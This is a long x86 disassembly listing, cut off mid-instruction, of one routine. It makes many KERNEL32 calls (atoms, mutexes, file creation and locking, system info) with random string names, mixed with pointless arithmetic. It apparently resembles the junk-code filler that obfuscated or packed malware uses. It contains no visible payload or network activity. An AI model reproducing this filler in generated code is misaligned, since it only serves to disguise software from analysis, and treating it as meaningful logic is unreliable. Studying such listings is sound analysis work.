call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x3c48], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bb534], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3ab8], eax
lea eax, [ebp - 0x2c7]
mov dword [ebp - 0x4c04], eax
push str.F9VL2_SUjuX
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1740], ax
mov cx, word [ebp - 0x4b8]
mov word [0x100bb538], cx
movzx edx, word [ebp - 0x9f4]
mov eax, dword [ebp - 0x3dd0]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x13c0], dx
lea edx, [ebp - 0x2b90]
mov dword [ebp - 0x4c08], edx
push 0
lea eax, [ebp - 0x988c]
push eax
mov ecx, dword [ebp - 0x97f8]
push ecx
mov edx, dword [ebp - 0x97fc]
push edx
mov eax, dword [0x100ba83c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100b9e54], eax
push str.SxeFP6.ZK_A_IgRF
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb53c], ax
mov ecx, dword [ebp - 0x43c8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4508]
movsx ecx, byte [eax]
and edx, ecx
mov byte [0x100b821a], dl
mov edx, dword [0x100baff8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2f6]
or eax, ecx
mov edx, dword [ebp - 0x3c84]
mov byte [edx], al
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb540], eax
mov eax, dword [ebp - 0x4750]
mov edx, dword [eax]
mov ecx, dword [0x100b7334]
shl edx, cl
mov dword [ebp - 0x2bd0], edx
mov eax, dword [ebp - 0x39c8]
movzx edx, word [eax]
mov eax, dword [0x100ba46c]
movzx ecx, word [eax]
sar edx, cl
mov word [0x100b7438], dx
mov ecx, dword [ebp - 0x4558]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xfc4]
add edx, eax
mov word [ebp - 0x12e8], dx
push str.ZZx8vk_J
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1744], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4c0c], eax
mov dword [ebp - 0x4c10], 0x100ba3a0
movsx ecx, byte [ebp - 0x2a0]
mov edx, dword [ebp - 0x3ec0]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [0x100ba198]
mov byte [edx], cl
push 2
lea eax, [ebp - 0x98a4]
push eax
mov ecx, dword [0x100bb54c]
push ecx
mov edx, dword [0x100bb548]
push edx
mov eax, dword [0x100ba58c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x46ac], eax
movzx ecx, word [0x100ba548]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9970], ax
push 0
push 0x278b
push 0x35c6
push 0x3d82
push 1
mov edx, dword [ebp - 0x3d50]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100bb544], eax
mov eax, dword [0x100bb4b8]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2d4]
xor ecx, edx
mov byte [ebp - 0x263], cl
lea eax, [ebp - 0xd28]
mov dword [ebp - 0x4c14], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4c18], eax
mov ecx, dword [0x100b99d8]
movzx eax, word [ecx]
mov edx, dword [ebp - 0x4bd0]
movzx ecx, word [edx]
cdq
idiv ecx
mov word [0x100b743c], ax
mov edx, dword [ebp - 0x38cc]
mov eax, dword [0x100ba7dc]
xor eax, dword [edx]
mov dword [ebp - 0x2d14], eax
movsx ecx, word [0x100bb538]
mov edx, dword [ebp - 0x3cb0]
movsx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x788], cx
mov ecx, dword [ebp - 0x3a40]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2bd8]
mov eax, dword [0x100badbc]
mov dword [eax], edx
lea ecx, [ebp - 0x15]
mov dword [ebp - 0x4c1c], ecx
push str.Xn9E_v9_WoVe_a8qGZjx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1748], ax
mov dl, byte [ebp - 0xdb]
mov byte [0x100b83c3], dl
push 0x100a8798
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb550], ax
lea eax, [ebp - 0xc94]
mov dword [ebp - 0x4c20], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba6a4], eax
mov ecx, dword [ebp - 0x4b80]
mov edx, dword [0x100bb2d8]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x2b8c], eax
mov ecx, dword [0x100ba9d8]
mov edx, dword [ebp - 0x3860]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [0x100ba50c], eax
lea ecx, [ebp - 0xadec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x4b74]
mov ax, word [edx]
mov word [ebp - 0x174c], ax
mov ecx, dword [ebp - 0x45dc]
movsx edx, byte [ecx]
mov eax, dword [0x100baf84]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x4c1c]
mov byte [ecx], dl
push 0
push 4
push 3
push 0
push 1
push 0x80000000
push str.FPthAqjYBbEsK
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb554], eax
lea edx, [ebp - 0x128]
mov dword [0x100bb558], edx
mov eax, dword [ebp - 0x4b18]
movsx edx, byte [eax]
mov eax, dword [0x100ba7d4]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x2c4], dl
lea ecx, [ebp - 0x2bd8]
mov dword [ebp - 0x4c24], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4c28], eax
movzx edx, word [ebp - 0xc20]
mov eax, dword [ebp - 0x3c04]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [0x100b95f0]
mov word [eax], dx
movsx ecx, word [ebp - 0x1144]
mov edx, dword [ebp - 0x41ec]
movsx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x38f0]
mov word [edx], cx
lea eax, [ebp - 0x3134]
mov dword [ebp - 0x4c2c], eax
movzx ecx, word [ebp - 0x1600]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100baf24], ax
push 0x253c
mov edx, dword [ebp - 0x3da8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100bb2f8], eax
lea eax, [ebp - 0x1e8]
mov dword [0x100bb55c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb560], eax
movsx ecx, byte [ebp - 0x1f6]
movsx edx, byte [ebp - 0x1c9]
add ecx, edx
mov byte [ebp - 0x2d7], cl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4c30], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4c34], eax
mov eax, dword [ebp - 0x450c]
mov ecx, dword [ebp - 0x4530]
and ecx, dword [eax]
mov dword [ebp - 0x2fb0], ecx
mov edx, dword [0x100bac04]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1430]
sar eax, cl
mov word [0x100b7344], ax
lea ecx, [ebp - 0x12dc]
mov dword [ebp - 0x4c38], ecx
mov edx, dword [ebp - 0x444c]
movzx eax, word [edx]
movzx ecx, word [0x100b9f60]
shl eax, cl
mov word [ebp - 0x1218], ax
movzx ecx, word [0x100b9ee0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb564], ax
push str.IrUQnw_wIfH8hH
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x15f0], ax
lea edx, [ebp - 0x2b7]
mov dword [0x100bb568], edx
mov eax, dword [0x100ba7f4]
mov ecx, dword [ebp - 0x4a14]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x3044], edx
lea eax, [ebp - 0x3108]
mov dword [ebp - 0x4c3c], eax
push 0
push 0x10
push 3
push 0
push 1
push 0x80000000
push str.HnGTeJyA4vGLGHqRuPD5ByjHRSHgSv
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb56c], eax
lea ecx, [ebp - 0x9f40]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea edx, [ebp - 0xb3b0]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x647
mov eax, dword [0x100bb424]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100ba834], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x441c], eax
mov ecx, dword [ebp - 0x3f90]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x46b4]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [0x100b7262], dl
movzx eax, word [ebp - 0xc8c]
cdq
mov ecx, 0x83b
idiv ecx
mov edx, dword [ebp - 0x3a44]
mov word [edx], ax
mov eax, dword [0x100ba458]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x1400]
add ecx, edx
mov word [ebp - 0x828], cx
mov eax, dword [ebp - 0x41f4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x1ce]
and ecx, edx
mov eax, dword [0x100b98b8]
mov byte [eax], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4c40], eax
mov ecx, dword [0x100ba294]
mov dl, byte [ecx]
mov byte [ebp - 0x2fd], dl
mov eax, dword [ebp - 0x43e4]
mov ecx, dword [ebp - 0x4960]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x4544], edx
lea eax, [ebp - 0x3fb4]
mov dword [0x100bb570], eax
mov ecx, dword [ebp - 0x45b0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2be]
sub edx, eax
mov ecx, dword [ebp - 0x3b88]
mov byte [ecx], dl
movzx edx, word [0x100b9b9c]
mov eax, dword [ebp - 0x460c]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x7a4], dx
mov ecx, dword [ebp - 0x4150]
movsx edx, word [ecx]
mov eax, dword [0x100b99ac]
movsx ecx, word [eax]
or edx, ecx
mov eax, dword [0x100bb2e8]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb574], eax
lea ecx, [ebp - 0x2dc]
mov dword [ebp - 0x4c44], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb578], eax
mov dword [ebp - 0x4c48], 0x7d75
mov edx, dword [ebp - 0x4584]
mov eax, dword [0x100b9620]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3c08]
mov dword [edx], ecx
movzx eax, word [ebp - 0x165c]
movzx ecx, word [ebp - 0x14d4]
and eax, ecx
mov word [0x100b7440], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x4c4c], eax
push 0x100b9de4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push 0xe95
push 0x22f0
push 0x68a7
push 1
mov edx, dword [ebp - 0x44a4]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x4534], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bb2f0], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb57c], eax
lea eax, [ebp - 0x2ac0]
mov dword [ebp - 0x4c50], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4c54], eax
movsx edx, byte [ebp - 0x2f1]
movsx ecx, byte [0x100b71f7]
sar edx, cl
mov eax, dword [ebp - 0x4508]
mov byte [eax], dl
lea ecx, [ebp - 0xaa4]
mov dword [0x100bb580], ecx
mov edx, dword [ebp - 0x47fc]
movzx eax, byte [edx]
mov ecx, dword [0x100bb2cc]
movzx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x4a6c]
mov byte [ecx], al
mov edx, dword [ebp - 0x4bb4]
mov eax, dword [edx]
mov dword [ebp - 0x4c58], eax
push str.YvOu
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1750], ax
movsx ecx, byte [ebp - 0x143]
movsx edx, byte [ebp - 0x29d]
xor ecx, edx
mov byte [0x100b725a], cl
movzx eax, word [ebp - 0x1138]
movzx ecx, word [0x100b9b9c]
shl eax, cl
mov word [ebp - 0xd80], ax
mov ecx, dword [ebp - 0x40c8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4134]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x10c0], dx
mov edx, dword [0x100ba918]
mov eax, dword [ebp - 0x401c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [0x100b952c]
mov dword [edx], ecx
mov eax, dword [0x100b9734]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x45c8]
movsx eax, word [edx]
or ecx, eax
mov word [ebp - 0x5e0], cx
mov dword [ebp - 0x4c5c], 0x100b71ae
lea ecx, [ebp - 0x2de4]
mov dword [0x100bb584], ecx
mov edx, dword [ebp - 0x44ac]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x69]
xor eax, ecx
mov byte [ebp - 0x2c], al
lea edx, [ebp - 0x4d8]
mov dword [ebp - 0x4c60], edx
mov dword [0x100bb588], 0x100b7228
mov eax, dword [ebp - 0x37b8]
mov cl, byte [eax]
mov byte [ebp - 0x2fe], cl
mov edx, dword [0x100b9b54]
mov ecx, dword [ebp - 0x2cc0]
shr edx, cl
mov eax, dword [0x100ba1a0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38f0]
movsx eax, word [ecx]
cdq
mov ecx, 0x5b7
idiv ecx
mov word [ebp - 0xed0], ax
mov edx, dword [ebp - 0x398c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2fd]
add eax, ecx
mov byte [ebp - 0x110], al
lea edx, [ebp - 0x4814]
mov dword [0x100bb58c], edx
mov eax, dword [ebp - 0x3e84]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3c04]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x9f4], cx
mov ecx, dword [ebp - 0x3b98]
mov edx, dword [0x100bb2fc]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x426c], eax
mov ecx, dword [0x100b9828]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0xe74]
shl edx, cl
mov eax, dword [0x100bb42c]
mov word [eax], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb590], eax
mov ecx, dword [ebp - 0x43c4]
mov edx, dword [ecx]
mov dword [ebp - 0x4c64], edx
lea eax, [ebp - 0xaf9c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [0x100ba548]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x15a0], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb594], eax
lea edx, [ebp - 0x2c6]
mov dword [ebp - 0x4c68], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9a20], eax
lea eax, [ebp - 0xb3d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9950], eax
mov ecx, dword [ebp - 0x4214]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4188]
movsx ecx, byte [eax]
or edx, ecx
mov eax, dword [0x100babc4]
mov byte [eax], dl
mov ecx, dword [0x100b9b24]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x1f2]
sar edx, cl
mov eax, dword [ebp - 0x4458]
mov byte [eax], dl
mov ecx, dword [0x100bb058]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3768]
mov dword [ebp - 0x2db0], edx
mov eax, dword [ebp - 0x47ec]
mov cl, byte [eax]
mov byte [0x100b83d2], cl
movsx edx, word [0x100b72a0]
movsx eax, word [ebp - 0x1374]
and edx, eax
mov word [ebp - 0x728], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x41e0], eax
movzx ecx, word [ebp - 0x121c]
imul edx, ecx, 0xa9f
mov word [ebp - 0xd50], dx
mov eax, dword [ebp - 0x2b74]
mov ecx, dword [0x100b73d0]
shl eax, cl
mov ecx, dword [0x100ba624]
mov dword [ecx], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x4c6c], eax
mov edx, dword [ebp - 0x4420]
mov al, byte [edx]
mov byte [ebp - 0x2ff], al
mov ecx, dword [0x100b9bc0]
mov edx, dword [ebp - 0x48b4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x38d4]
mov dword [ecx], eax
lea edx, [ebp - 0x130]
mov dword [0x100bb598], edx
movzx eax, word [ebp - 0x11cc]
movzx ecx, word [ebp - 0xd50]
cdq
idiv ecx
mov word [ebp - 0x740], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb59c], eax
mov edx, dword [ebp - 0x4280]
mov ax, word [edx]
mov word [ebp - 0x1754], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4c70], eax
movsx ecx, byte [ebp - 0x2b6]
mov edx, dword [0x100b9654]
movsx eax, byte [edx]
add ecx, eax
mov byte [0x100b72ce], cl
movzx edx, word [ebp - 0x1294]
movzx ecx, word [ebp - 0x1464]
sar edx, cl
mov word [ebp - 0x1624], dx
lea eax, [ebp - 0x31f0]
mov dword [ebp - 0x4c74], eax
mov ecx, dword [ebp - 0x4374]
mov edx, dword [ebp - 0x3744]
or edx, dword [ecx]
mov eax, dword [0x100ba7d0]
mov dword [eax], edx
push 0x100bb4dc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, byte [ebp - 0x259]
movzx edx, byte [0x100b7243]
and ecx, edx
mov byte [ebp - 0x9e], cl
mov eax, dword [ebp - 0x4bd8]
mov cx, word [eax]
mov word [ebp - 0x1758], cx
lea edx, [ebp - 0x3c]
mov dword [0x100bb5a0], edx
mov eax, dword [ebp - 0x3950]
movzx ecx, word [eax]
imul edx, ecx, 0xd45
mov word [ebp - 0x1490], dx
mov eax, dword [ebp - 0x450c]
mov ecx, dword [0x100b972c]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x2ea0], edx
mov eax, dword [ebp - 0x3d34]
mov eax, dword [eax]
xor edx, edx
div dword [ebp - 0x46a4]
mov ecx, dword [0x100b98e8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3ee0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4424]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x3b30]
mov byte [ecx], al
mov edx, dword [ebp - 0x39b0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1b9]
shl eax, cl
mov byte [ebp - 0x124], al
movsx ecx, word [ebp - 0x1248]
mov edx, dword [0x100bb42c]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [0x100bb434]
mov word [edx], cx
mov eax, dword [ebp - 0x38c4]
movzx edx, word [eax]
mov eax, dword [ebp - 0x44a0]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x4bd0]
mov word [ecx], dx
mov edx, dword [ebp - 0x36e0]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bb5a4], eax
push str.XxCq_SnQ4BIQ_mAZq
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb5a8], ax
mov eax, dword [ebp - 0x3e68]
mov ecx, dword [eax]
mov dword [ebp - 0x4c78], ecx
push 0
push 0x40
push 2
push 0
push 2
push 0x40000000
push str.ZMDpLjXGGHGClE5NT6s
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4c7c], eax
push 0x1940
mov edx, dword [0x100bb300]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x37d4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba9b4], eax
push 0
push 0x20
push 3
push 0
push 1
push 0x80000000
push str.W0PYG7KwXv9uNozCHpe
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4c80], eax
push 0x133c
push 0xc46
push 0x2b0a
push 0x13f3
mov eax, dword [ebp - 0x38f8]
push eax
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100bb5ac], eax
mov cl, byte [ebp - 0x1b9]
mov byte [0x100b83d3], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb5b0], eax
mov edx, dword [ebp - 0x4ad4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1dc]
and eax, ecx
mov byte [ebp - 0xb6], al
mov edx, dword [ebp - 0x468c]
mov dword [ebp - 0x4c84], edx
mov eax, dword [0x100baa5c]
movzx ecx, word [eax]
imul edx, ecx, 0xc39
mov word [0x100b7444], dx
mov eax, dword [ebp - 0x38f0]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3d6c]
movsx eax, word [edx]
or ecx, eax
mov word [ebp - 0x1390], cx
mov ecx, dword [ebp - 0x3a40]
mov edx, dword [ebp - 0x467c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x3c08]
mov dword [ecx], eax
push str.GOEjTBps_Dws
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x175c], ax
movsx edx, byte [0x100b7226]
movsx eax, byte [ebp - 0x153]
add edx, eax
mov byte [0x100b7263], dl
movzx edx, byte [ebp - 0x2ac]
movzx ecx, byte [0x100b83c2]
shl edx, cl
mov byte [ebp - 0x226], dl
lea eax, [ebp - 0xdf0]
mov dword [ebp - 0x4c88], eax
mov ecx, dword [ebp - 0x43ec]
mov dx, word [ecx]
mov word [0x100bb5b4], dx
push 0x1e5e
mov eax, dword [ebp - 0x43dc]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100ba68c], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bb5b8], eax
mov ecx, dword [0x100b9ddc]
mov edx, dword [ebp - 0x3938]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x4c64], eax
movzx ecx, word [ebp - 0x1560]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100baf00], ax
mov edx, dword [ebp - 0x465c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1494]
sar eax, cl
mov ecx, dword [ebp - 0x4324]
mov word [ecx], ax
mov edx, dword [ebp - 0x3628]
mov eax, dword [edx]
xor eax, dword [0x100b7310]
mov dword [0x100ba6c8], eax
lea ecx, [ebp - 0xa000]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea edx, [ebp - 0xb3f8]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x100ba174]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x3fc4], eax
lea ecx, [ebp - 0x2c4]
mov dword [ebp - 0x4c8c], ecx
lea edx, [ebp - 0xa3]
mov dword [0x100bb5bc], edx
movzx eax, word [ebp - 0x1264]
movzx ecx, word [0x100b71e8]
cdq
idiv ecx
mov word [ebp - 0x13f0], ax
push 0
push 0x20
push 2
push 0
push 2
push 0xc0000000
push str.ZVoVeBe7t6yFeKgi8xvV
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb5c0], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4bc8], eax
mov edx, dword [ebp - 0x359c]
mov eax, dword [edx]
mov dword [ebp - 0x4c90], eax
push 0
lea ecx, [ebp - 0x9894]
push ecx
mov edx, dword [0x100bb5cc]
push edx
mov eax, dword [0x100bb5c8]
push eax
mov ecx, dword [0x100ba7e0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4c94], eax
mov edx, dword [ebp - 0x2d7c]
add edx, dword [ebp - 0x3080]
mov eax, dword [0x100b95f8]
mov dword [eax], edx
push str.ArlILz6u_Y5
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb5c4], ax
lea ecx, [ebp - 0x1638]
mov dword [ebp - 0x4c98], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4bdc], eax
mov edx, dword [ebp - 0x3f58]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2be]
or eax, ecx
mov byte [ebp - 0x113], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba78c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4c9c], eax
mov edx, dword [ebp - 0x45ac]
movzx eax, byte [edx]
mov ecx, dword [0x100bae24]
movzx edx, byte [ecx]
and eax, edx
mov byte [0x100b7fd7], al
mov eax, dword [0x100bae3c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x4508]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x3690]
mov byte [edx], cl
push 0xeb1
push 0
push 0x100ba534
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3a3c], eax
mov eax, dword [0x100ba010]
mov edx, dword [ebp - 0x2cfc]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x2e04], edx
mov ax, word [ebp - 0x11dc]
mov word [0x100bb5d0], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb5d4], eax
mov cx, word [ebp - 0xd64]
mov word [ebp - 0x1760], cx
push str.KU3tJtW
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1764], ax
mov edx, dword [ebp - 0x437c]
mov eax, dword [ebp - 0x4398]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x3064], edx
movzx eax, byte [0x100b823e]
mov ecx, dword [ebp - 0x33e4]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100bb4b8]
mov byte [ecx], al
push 0x100ba0c4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea edx, [ebp - 0x27d]
mov dword [ebp - 0x4ca0], edx
mov eax, dword [0x100babe8]
mov ecx, dword [ebp - 0x2ebc]
and ecx, dword [eax]
mov edx, dword [ebp - 0x43a0]
mov dword [edx], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb5d8], eax
mov eax, dword [ebp - 0x40d4]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1290]
imul ecx, edx
mov word [0x100b7448], cx
movsx eax, word [ebp - 0x1638]
mov ecx, dword [ebp - 0x41ec]
movsx edx, word [ecx]
xor eax, edx
mov word [ebp - 0xb44], ax
push 1
lea eax, [ebp - 0x97fc]
push eax
mov ecx, dword [0x100bb5e4]
push ecx
mov edx, dword [0x100bb5e0]
push edx
mov eax, dword [ebp - 0x4048]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4ca4], eax
movzx ecx, word [ebp - 0x15f4]
movzx edx, word [ebp - 0x163c]
or ecx, edx
mov word [ebp - 0xce0], cx
mov eax, dword [ebp - 0x3e60]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x279]
shl edx, cl
mov byte [0x100b72c2], dl
lea eax, [ebp - 0x2f84]
mov dword [ebp - 0x4ca8], eax
mov ecx, dword [ebp - 0x48b4]
mov edx, dword [ebp - 0x4494]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x3ae0]
mov dword [eax], edx
movzx ecx, word [0x100bae70]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb5dc], ax
mov edx, dword [ebp - 0x38a8]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp - 0x4768]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x4640]
movsx eax, byte [edx]
add ecx, eax
mov byte [0x100b72cf], cl
movzx ecx, word [ebp - 0xc48]
movzx edx, word [0x100b7418]
and ecx, edx
mov word [ebp - 0xd28], cx
lea eax, [ebp - 0x11e0]
mov dword [ebp - 0x4cac], eax
mov ecx, dword [ebp - 0x4a44]
mov dl, byte [ecx]
mov byte [0x100b8402], dl
mov al, byte [ebp - 0x22e]
mov byte [ebp - 0x300], al
mov ecx, dword [0x100ba7f4]
mov edx, dword [0x100baec8]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x42bc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb2f0], eax
mov ecx, dword [ebp - 0x3714]
mov edx, dword [ecx]
xor edx, dword [0x100b7408]
mov eax, dword [0x100bb058]
mov dword [eax], edx
push 0
push 0x20
push 3
push 0
push 4
push 0x80000000
